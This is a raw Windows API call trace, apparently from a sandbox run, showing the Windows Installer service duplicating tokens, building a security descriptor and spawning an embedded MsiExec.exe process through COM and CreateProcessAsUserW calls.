StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0x200) returned 0x0 [0143.650] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x5 [0143.650] StdGlobalInterfaceTable:IGlobalInterfaceTable:GetInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xd08, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d9eee0) [0143.650] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3d6028, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9eee0) [0143.650] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3d6028) [0143.650] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xd08) [0143.650] StdGlobalInterfaceTable:IUnknown:Release (This=0x3d6028) [0143.650] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x7fefd6ba1b0) returned 0x1 [0143.651] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0143.652] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (This=0x7fefd6ba1b0, pUnk=0x3d6028, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x35c4c8) [0143.652] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3d6028, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9f458) [0143.652] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3d6028) [0143.652] SetEvent (hEvent=0x350) returned 1 [0143.652] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x1d9f788*=0x364, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0 [0149.943] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.943] GetCurrentProcessId () returned 0xf30 [0149.943] CoCreateInstance (in: rclsid=0x7fef7aa1240*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef7aa1230*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x327788 | out: ppv=0x327788*=0x7fefd6ba1b0) returned 0x0 [0149.943] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.943] GetCurrentProcess () returned 0xffffffffffffffff [0149.943] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2, TokenHandle=0x1d9ee30 | out: TokenHandle=0x1d9ee30*=0x370) returned 1 [0149.943] DuplicateTokenEx (in: hExistingToken=0x370, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x0, TokenType=0x1, phNewToken=0x1d9ee20 | out: phNewToken=0x1d9ee20*=0x1c0) returned 1 [0149.944] CloseHandle (hObject=0x370) returned 1 [0149.944] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.944] GetCurrentThread () returned 0xfffffffffffffffe [0149.944] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x1d9ee30 | out: TokenHandle=0x1d9ee30*=0x370) returned 1 [0149.944] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.944] GetTokenInformation (in: TokenHandle=0x370, TokenInformationClass=0xc, TokenInformation=0x1d9ee28, TokenInformationLength=0x4, ReturnLength=0x1d9efb0 | out: TokenInformation=0x1d9ee28, ReturnLength=0x1d9efb0) returned 1 [0149.944] SetTokenInformation (TokenHandle=0x1c0, TokenInformationClass=0xc, TokenInformation=0x1d9ee28, TokenInformationLength=0x4) returned 1 [0149.944] CloseHandle (hObject=0x370) returned 1 [0149.945] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.945] GetTickCount () returned 0x187a818 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x53fce379 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x125f5219 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x26d33ca3 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x307cfd67 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x5c37d02a [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x139d2e78 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x2d94e907 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x74ba50f4 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x290e1954 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x62e26657 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x6980796c [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x159813ff [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x40ac432e [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x74d97781 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x74b49ff8 [0149.945] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x6204f4a1 [0149.945] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer", ulOptions=0x0, samDesired=0x20119, phkResult=0x1d9eac0 | out: phkResult=0x1d9eac0*=0x370) returned 0x0 [0149.945] RegQueryValueExW (in: hKey=0x370, lpValueName="MsiExecCA32", lpReserved=0x0, lpType=0x0, lpData=0x1d9eaf0, lpcbData=0x1d9eab0*=0x26a | out: lpType=0x0, lpData=0x1d9eaf0*=0x43, lpcbData=0x1d9eab0*=0x40) returned 0x0 [0149.945] UrlIsW (pszUrl="C:\\Windows\\syswow64\\msiexec.exe", UrlIs=0x0) returned 0 [0149.946] lstrlenW (lpString="C:\\Windows\\syswow64\\msiexec.exe") returned 31 [0149.946] memcpy (in: _Dst=0x3c0640, _Src=0x338f98, _Size=0x16 | out: _Dst=0x3c0640) returned 0x3c0640 [0149.946] UrlIsW (pszUrl="C:\\Windows\\syswow64", UrlIs=0x0) returned 0 [0149.946] lstrlenW (lpString="C:\\Windows\\syswow64") returned 19 [0149.946] memcpy (in: _Dst=0x3c2670, _Src=0x372020, _Size=0x4 | out: _Dst=0x3c2670) returned 0x3c2670 [0149.946] lstrlenW (lpString="\\") returned 1 [0149.946] lstrlenW (lpString="\\\\") returned 2 [0149.946] wcsstr (_Str="\\Windows\\syswow64", _SubStr="\\\\") returned 0x0 [0149.946] memcpy (in: _Dst=0x1d9dc60, _Src=0x372024, _Size=0x24 | out: _Dst=0x1d9dc60) returned 0x1d9dc60 [0149.946] lstrlenW (lpString="Windows") returned 7 [0149.946] lstrlenW (lpString="Windows") returned 7 [0149.946] lstrlenW (lpString="syswow64") returned 8 [0149.946] lstrlenW (lpString="syswow64") returned 8 [0149.946] lstrlenW (lpString="\\Windows\\syswow64") returned 17 [0149.946] lstrlenW (lpString="\\Windows\\syswow64") returned 17 [0149.946] lstrlenW (lpString="\\") returned 1 [0149.946] memcpy (in: _Dst=0x372110, _Src=0x372250, _Size=0x22 | out: _Dst=0x372110) returned 0x372110 [0149.947] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.947] GetFileAttributesW (lpFileName="C:\\Windows\\syswow64" (normalized: "c:\\windows\\syswow64")) returned 0x10 [0149.948] lstrlenW (lpString="MsiExec.exe") returned 11 [0149.948] lstrlenW (lpString="MsiExec.exe") returned 11 [0149.948] lstrlenW (lpString="MsiExec.exe") returned 11 [0149.948] memcpy (in: _Dst=0x372020, _Src=0x338890, _Size=0x4 | out: _Dst=0x372020) returned 0x372020 [0149.948] memcpy (in: _Dst=0x372024, _Src=0x372110, _Size=0x26 | out: _Dst=0x372024) returned 0x372024 [0149.948] lstrlenW (lpString="MsiExec.exe") returned 11 [0149.948] memcpy (in: _Dst=0x338f70, _Src=0x372020, _Size=0x28 | out: _Dst=0x338f70) returned 0x338f70 [0149.949] memcpy (in: _Dst=0x32d3c8, _Src=0x7fef7ab7f88, _Size=0x18 | out: _Dst=0x32d3c8) returned 0x32d3c8 [0149.949] GetFileAttributesExW (in: lpFileName="C:\\Windows\\syswow64\\MsiExec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x1d9e970 | out: lpFileInformation=0x1d9e970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0c6f80, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00)) returned 1 [0149.949] memcpy (in: _Dst=0x372020, _Src=0x338890, _Size=0x4 | out: _Dst=0x372020) returned 0x372020 [0149.949] memcpy (in: _Dst=0x372024, _Src=0x372110, _Size=0x26 | out: _Dst=0x372024) returned 0x372024 [0149.949] RegCloseKey (hKey=0x370) returned 0x0 [0149.949] lstrlenW (lpString="MsiExec.exe") returned 11 [0149.950] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76b00000 [0149.951] GetProcAddress (hModule=0x76b00000, lpProcName="GetSystemWow64DirectoryW") returned 0x76b62610 [0149.951] GetSystemWow64DirectoryW (in: lpBuffer=0x1d9f030, uSize=0x104 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0149.951] FreeLibrary (hLibModule=0x76b00000) returned 1 [0149.951] SetLastError (dwErrCode=0x0) [0149.951] lstrlenW (lpString=" -Embedding ") returned 12 [0149.951] memcpy (in: _Dst=0x34acc0, _Src=0x338f70, _Size=0x3e | out: _Dst=0x34acc0) returned 0x34acc0 [0149.951] memcpy (in: _Dst=0x1d9f460, _Src=0x7fef7aaf5e0, _Size=0x22 | out: _Dst=0x1d9f460) returned 0x1d9f460 [0149.951] lstrlenW (lpString="ADDCD9128E57B274A403CFC05E47C1FC") returned 32 [0149.951] memcpy (in: _Dst=0x3bec20, _Src=0x34acc0, _Size=0x56 | out: _Dst=0x3bec20) returned 0x3bec20 [0149.952] lstrlenW (lpString=" M ") returned 3 [0149.952] memcpy (in: _Dst=0x3beaa0, _Src=0x3bec20, _Size=0x96 | out: _Dst=0x3beaa0) returned 0x3beaa0 [0149.952] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.952] CreateEventW (lpEventAttributes=0x1d9ef20, bManualReset=1, bInitialState=0, lpName="Global\\MSI0000") returned 0x370 [0149.952] GetLastError () returned 0x0 [0149.953] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.953] lstrlenW (lpString="Global\\MSI0000") returned 14 [0149.953] memcpy (in: _Dst=0x2becba0, _Src=0x3beaa0, _Size=0x9c | out: _Dst=0x2becba0) returned 0x2becba0 [0149.953] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x218 [0149.953] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1d9efb0, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1d9ee90 | out: pSid=0x1d9ee90*=0x3c7bb0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0149.953] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1d9efb0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1d9eea8 | out: pSid=0x1d9eea8*=0x3c7970*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0149.953] GetCurrentThread () returned 0xfffffffffffffffe [0149.953] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x1d9ee48 | out: TokenHandle=0x1d9ee48*=0x3b0) returned 1 [0149.953] GetTokenInformation (in: TokenHandle=0x3b0, TokenInformationClass=0x1, TokenInformation=0x1d9ed30, TokenInformationLength=0x58, ReturnLength=0x1d9ed20 | out: TokenInformation=0x1d9ed30, ReturnLength=0x1d9ed20) returned 1 [0149.954] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x1d9f4c0, pSourceSid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.954] CloseHandle (hObject=0x3b0) returned 1 [0149.954] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x7fefd6ba1b0, pUnk=0x2bec570, riid=0x7fef7aab030*(Data1=0xc1033, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x327814 | out: pdwCookie=0x327814*=0x300) returned 0x0 [0149.954] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9eca8 | out: ppvObject=0x1d9eca8*=0x0) returned 0x80004002 [0149.954] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666f70*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9ecb0 | out: ppvObject=0x1d9ecb0*=0x0) returned 0x80004002 [0149.954] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x2bec570) returned 0x5 [0149.954] GetCurrentThread () returned 0xfffffffffffffffe [0149.954] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xf01ff, OpenAsSelf=1, TokenHandle=0x1d9ee40 | out: TokenHandle=0x1d9ee40*=0x3b0) returned 1 [0149.954] GetTokenInformation (in: TokenHandle=0x3b0, TokenInformationClass=0x1, TokenInformation=0x1d9ec90, TokenInformationLength=0x58, ReturnLength=0x1d9ec80 | out: TokenInformation=0x1d9ec90, ReturnLength=0x1d9ec80) returned 1 [0149.954] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x1d9ed40, pSourceSid=0x1d9eca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.954] ConvertSidToStringSidW (in: Sid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x1d9ed30 | out: StringSid=0x1d9ed30*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0149.954] LocalFree (hMem=0x3c5fe0) returned 0x0 [0149.954] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.954] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.955] GetLengthSid (pSid=0x3c7bb0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0149.955] GetLengthSid (pSid=0x3c7970*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0149.955] GetLengthSid (pSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0149.955] InitializeAcl (in: pAcl=0x1d9eb70, nAclLength=0x58, dwAclRevision=0x2 | out: pAcl=0x1d9eb70) returned 1 [0149.955] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x1fffff, pSid=0x3c7bb0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pAcl=0x1d9eb70) returned 1 [0149.955] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x0, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eb78) returned 1 [0149.955] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x1fffff, pSid=0x3c7970*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: pAcl=0x1d9eb70) returned 1 [0149.955] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x1, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eb8c) returned 1 [0149.955] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x1000, pSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pAcl=0x1d9eb70) returned 1 [0149.955] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x2, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eba4) returned 1 [0149.955] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x1d9eb30, dwRevision=0x1 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0149.955] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x1d9eb30, bDaclPresent=1, pDacl=0x1d9eb70, bDaclDefaulted=0 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0149.955] SetSecurityDescriptorOwner (in: pSecurityDescriptor=0x1d9eb30, pOwner=0x3c7bb0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), bOwnerDefaulted=0 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0149.955] GetSecurityDescriptorLength (pSecurityDescriptor=0x1d9eb30) returned 0x8c [0149.955] MakeSelfRelativeSD (in: pAbsoluteSecurityDescriptor=0x1d9eb30, pSelfRelativeSecurityDescriptor=0x32d380, lpdwBufferLength=0x1d9eb20 | out: pSelfRelativeSecurityDescriptor=0x32d380, lpdwBufferLength=0x1d9eb20) returned 1 [0149.955] IsValidSecurityDescriptor (pSecurityDescriptor=0x32d380) returned 1 [0149.955] RtlCreateEnvironment (in: Inherit=1, Environment=0x1d9ee30 | out: Environment=0x1d9ee30*="ALLUSERSPROFILE=C:\\ProgramData") returned 0x0 [0149.955] memcpy (in: _Dst=0x1d9f250, _Src=0x2becba0, _Size=0xba | out: _Dst=0x1d9f250) returned 0x1d9f250 [0149.955] CreateProcessAsUserW (in: hToken=0x1c0, lpApplicationName="C:\\Windows\\syswow64\\MsiExec.exe", lpCommandLine="C:\\Windows\\syswow64\\MsiExec.exe -Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", lpProcessAttributes=0x1d9f460, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x420, lpEnvironment=0x2124120, lpCurrentDirectory="C:\\Windows\\SysWOW64", lpStartupInfo=0x1d9ef40*(cb=0x68, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1d9ee60 | out: lpCommandLine="C:\\Windows\\syswow64\\MsiExec.exe -Embedding ADDCD9128E57B274A403CFC05E47C1FC M Global\\MSI0000", lpProcessInformation=0x1d9ee60*(hProcess=0x3b4, hThread=0x3ac, dwProcessId=0x38c, dwThreadId=0xd3c)) returned 1 [0149.962] RtlDestroyEnvironment (Environment="ALLUSERSPROFILE=C:\\ProgramData") [0149.962] SetThreadToken (Thread=0x1d9ee68*=0x3ac, Token=0x3b0) returned 1 [0149.962] CloseHandle (hObject=0x3b0) returned 1 [0149.962] SetEvent (hEvent=0x370) returned 1 [0149.962] CloseHandle (hObject=0x3ac) returned 1 [0149.963] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.963] CloseHandle (hObject=0x1c0) returned 1 [0149.963] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x1d9ef10*=0x3b4, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x1 [0150.237] CloseHandle (hObject=0x218) returned 1 [0150.237] CloseHandle (hObject=0x370) returned 1 [0150.237] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0x300) returned 0x0 [0150.237] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x5 [0150.237] StdGlobalInterfaceTable:IGlobalInterfaceTable:GetInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xb07, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d9eee0) [0150.237] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3c5fe8, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9eee0) [0150.237] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3c5fe8) [0150.237] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xb07) [0150.237] StdGlobalInterfaceTable:IUnknown:Release (This=0x3c5fe8) [0150.237] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x7fefd6ba1b0) returned 0x1 [0150.239] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.239] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (This=0x7fefd6ba1b0, pUnk=0x3c5fe8, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x35c4e8) [0150.239] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3c5fe8, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9f458) [0150.239] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3c5fe8) [0150.239] SetEvent (hEvent=0x350) returned 1 [0150.239] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x1d9f788*=0x364, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0 [0204.707] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0204.707] GetCurrentProcessId () returned 0xf30 [0204.707] CoCreateInstance (in: rclsid=0x7fef7aa1240*(Data1=0x323, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef7aa1230*(Data1=0x146, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x327788 | out: ppv=0x327788*=0x7fefd6ba1b0) returned 0x0 [0204.708] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.708] GetCurrentProcess () returned 0xffffffffffffffff [0204.708] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2, TokenHandle=0x1d9ee30 | out: TokenHandle=0x1d9ee30*=0x3b4) returned 1 [0204.708] DuplicateTokenEx (in: hExistingToken=0x3b4, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x0, TokenType=0x1, phNewToken=0x1d9ee20 | out: phNewToken=0x1d9ee20*=0x3ac) returned 1 [0204.708] CloseHandle (hObject=0x3b4) returned 1 [0204.708] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0204.708] GetCurrentThread () returned 0xfffffffffffffffe [0204.708] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x1d9ee30 | out: TokenHandle=0x1d9ee30*=0x3b4) returned 1 [0204.708] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.708] GetTokenInformation (in: TokenHandle=0x3b4, TokenInformationClass=0xc, TokenInformation=0x1d9ee28, TokenInformationLength=0x4, ReturnLength=0x1d9efb0 | out: TokenInformation=0x1d9ee28, ReturnLength=0x1d9efb0) returned 1 [0204.708] SetTokenInformation (TokenHandle=0x3ac, TokenInformationClass=0xc, TokenInformation=0x1d9ee28, TokenInformationLength=0x4) returned 1 [0204.708] CloseHandle (hObject=0x3b4) returned 1 [0204.709] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0204.709] GetTickCount () returned 0x1882321 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x11da0abb [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x3973dd20 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x34b639f2 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x2c7925eb [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x646d8771 